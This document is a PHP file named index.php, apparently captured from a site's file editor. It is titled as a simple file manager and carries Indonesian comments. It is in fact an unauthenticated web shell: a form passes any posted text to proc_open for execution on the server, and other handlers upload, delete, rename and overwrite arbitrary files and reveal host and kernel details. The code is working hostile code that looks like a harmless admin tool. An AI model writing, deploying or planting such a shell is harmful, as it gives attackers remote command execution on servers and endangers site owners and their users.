관리-도구
편집 파일: index.php
<?php // Fungsi untuk menjalankan perintah Linux dengan proc_open function runCommand($cmd) { $descriptorspec = [ 0 => ["pipe", "r"], // stdin 1 => ["pipe", "w"], // stdout 2 => ["pipe", "w"] // stderr ]; $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); return $output . $error; } return "Gagal menjalankan perintah."; } // Fungsi untuk mendapatkan informasi sistem (Diperbarui dengan php_uname) function getSystemInfo() { $kernelInfo = [ 'sysname' => php_uname('s'), // Nama sistem operasi 'nodename' => php_uname('n'), // Nama host 'release' => php_uname('r'), // Versi release kernel 'version' => php_uname('v'), // Versi kernel 'machine' => php_uname('m'), // Arsitektur mesin ]; $software = $_SERVER['SERVER_SOFTWARE']; // Format informasi kernel $kernelString = "{$kernelInfo['sysname']} {$kernelInfo['nodename']} {$kernelInfo['release']} {$kernelInfo['version']} {$kernelInfo['machine']}"; return [ 'os' => $kernelString, 'software' => $software ]; } // Fungsi untuk mendapatkan daftar file dan folder function getDirectoryListing($dir) { $files = scandir($dir); $folders = []; $filesList = []; foreach ($files as $file) { if ($file != '.' && $file != '..') { if (is_dir($dir . '/' . $file)) { $folders[] = $file; } else { $filesList[] = $file; } } } return ['folders' => $folders, 'files' => $filesList]; } // Fungsi untuk mendapatkan ukuran file function getFileSize($file) { $size = filesize($file); $units = ['B', 'KB', 'MB', 'GB', 'TB']; $unit = 0; while ($size >= 1024 && $unit < 4) { $size /= 1024; $unit++; } return round($size, 2) . ' ' . $units[$unit]; } // Fungsi untuk mendapatkan izin file function getFilePermission($file) { return substr(sprintf('%o', fileperms($file)), -4); } // Fungsi untuk normalisasi path function normalizePath($path) { $path = preg_replace('#/+#', '/', $path); if (strpos($path, '/') !== 0) { $path = '/' . $path; } return rtrim($path, '/') ?: '/'; } // Fungsi untuk membuat breadcrumb navigasi function createBreadcrumb($dir) { $dir = normalizePath($dir); $pathParts = explode('/', $dir); $breadcrumb = '<span>current directory:</span> '; $currentPath = ''; $breadcrumb .= '<a href="?dir=/">/</a>'; if ($dir !== '/') { foreach ($pathParts as $part) { if ($part !== '') { $currentPath = normalizePath($currentPath . '/' . $part); $breadcrumb .= ' / <a href="?dir=' . urlencode($currentPath) . '">' . htmlspecialchars($part) . '</a>'; } } } return trim($breadcrumb); } // Menentukan direktori saat ini $currentDir = isset($_GET['dir']) ? normalizePath($_GET['dir']) : normalizePath(getcwd()); // Handle upload file if (isset($_FILES['file'])) { $uploadFile = $currentDir . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { $message = "File berhasil diupload."; } else { $message = "Gagal mengupload file."; } } // Handle eksekusi perintah if (isset($_POST['command'])) { $commandOutput = runCommand($_POST['command']); } // Handle penghapusan file if (isset($_GET['delete'])) { $fileToDelete = $currentDir . '/' . $_GET['delete']; if (is_file($fileToDelete)) { unlink($fileToDelete); $message = "File berhasil dihapus."; } else { $message = "File tidak ditemukan."; } } // Handle rename file if (isset($_POST['rename'])) { $oldName = $currentDir . '/' . $_POST['old_name']; $newName = $currentDir . '/' . $_POST['new_name']; if (rename($oldName, $newName)) { $message = "File berhasil direname."; } else { $message = "Gagal merename file."; } } // Handle edit file if (isset($_POST['edit'])) { $fileToEdit = $currentDir . '/' . $_POST['file']; $content = $_POST['content']; if (file_put_contents($fileToEdit, $content)) { $message = "File berhasil diedit."; } else { $message = "Gagal mengedit file."; } } // Mendapatkan informasi sistem dan daftar file $listing = getDirectoryListing($currentDir); $folders = $listing['folders']; $files = $listing['files']; $systemInfo = getSystemInfo(); ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager Sederhana</title> <style> body { font-family: Arial, sans-serif; background-color: #121212; color: #e0e0e0; margin: 0; padding: 0; } .container { max-width: 800px; margin: 20px auto; padding: 20px; background-color: #1e1e1e; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.5); } .file-table { width: 100%; border-collapse: collapse; margin-top: 20px; } .file-table th, .file-table td { padding: 12px; text-align: left; border-bottom: 1px solid #333; } .file-table th { background-color: #2c2c2c; color: #ffffff; } .file-table tr:nth-child(even) { background-color: #242424; } .file-table tr:hover { background-color: #333333; } .file-actions a { margin-right: 10px; color: #4da6ff; text-decoration: none; } .file-actions a:hover { text-decoration: underline; color: #66b3ff; } .file-table td:first-child a { color: #4da6ff; text-decoration: none; } .file-table td:first-child a:hover { text-decoration: underline; color: #66b3ff; } .breadcrumb a { color: #4da6ff; text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; color: #66b3ff; } pre { background: #2c2c2c; color: #e0e0e0; padding: 10px; border-radius: 5px; border: 1px solid #444; } .breadcrumb span { margin-right: 5px; color: #a0a0a0; } input[type="text"], input[type="file"], textarea { background-color: #333; color: #e0e0e0; border: 1px solid #555; padding: 8px; border-radius: 4px; width: 100%; box-sizing: border-box; } input[type="submit"] { background-color: #4da6ff; color: #ffffff; border: none; padding: 10px 15px; border-radius: 4px; cursor: pointer; } input[type="submit"]:hover { background-color: #66b3ff; } h1, h2 { color: #ffffff; } p { color: #e0e0e0; } </style> </head> <body> <div class="container"> <h1>File Manager Sederhana</h1> <?php if (isset($message)): ?> <p><?php echo $message; ?></p> <?php endif; ?> <div> <p><strong>Sistem OS:</strong> <?php echo htmlspecialchars($systemInfo['os']); ?></p> <p><strong>Sistem Software:</strong> <?php echo htmlspecialchars($systemInfo['software']); ?></p> </div> <div> <h2>Upload File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <input type="submit" value="Upload"> </form> </div> <div> <h2>Jalankan Perintah</h2> <form action="" method="post"> <input type="text" name="command" required> <input type="submit" value="Run"> </form> <?php if (isset($commandOutput)): ?> <pre><?php echo htmlspecialchars($commandOutput); ?></pre> <?php endif; ?> </div> <div> <h2 class="breadcrumb"><?php echo createBreadcrumb($currentDir); ?></h2> <table class="file-table"> <thead> <tr> <th>Nama</th> <th>Ukuran</th> <th>Izin</th> <th>Aksi</th> </tr> </thead> <tbody> <?php foreach ($folders as $folder): ?> <tr> <td><a href="?dir=<?php echo urlencode($currentDir . '/' . $folder); ?>"><?php echo htmlspecialchars($folder); ?></a></td> <td>-</td> <td><?php echo getFilePermission($currentDir . '/' . $folder); ?></td> <td>-</td> </tr> <?php endforeach; ?> <?php foreach ($files as $file): ?> <tr> <td><?php echo htmlspecialchars($file); ?></td> <td><?php echo getFileSize($currentDir . '/' . $file); ?></td> <td><?php echo getFilePermission($currentDir . '/' . $file); ?></td> <td class="file-actions"> <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file); ?>">Edit</a> <a href="?dir=<?php echo urlencode($currentDir); ?>&rename=<?php echo urlencode($file); ?>">Rename</a> <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($file); ?>" onclick="return confirm('Yakin ingin hapus?')">Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php if (isset($_GET['edit'])): ?> <div> <h2>Edit File: <?php echo htmlspecialchars($_GET['edit']); ?></h2> <form action="" method="post"> <textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars(file_get_contents($currentDir . '/' . $_GET['edit'])); ?></textarea> <input type="hidden" name="file" value="<?php echo htmlspecialchars($_GET['edit']); ?>"> <input type="submit" name="edit" value="Simpan"> </form> </div> <?php endif; ?> <?php if (isset($_GET['rename'])): ?> <div> <h2>Rename File: <?php echo htmlspecialchars($_GET['rename']); ?></h2> <form action="" method="post"> <input type="text" name="new_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>" required> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>"> <input type="submit" name="rename" value="Rename"> </form> </div> <?php endif; ?> </div> </body> </html>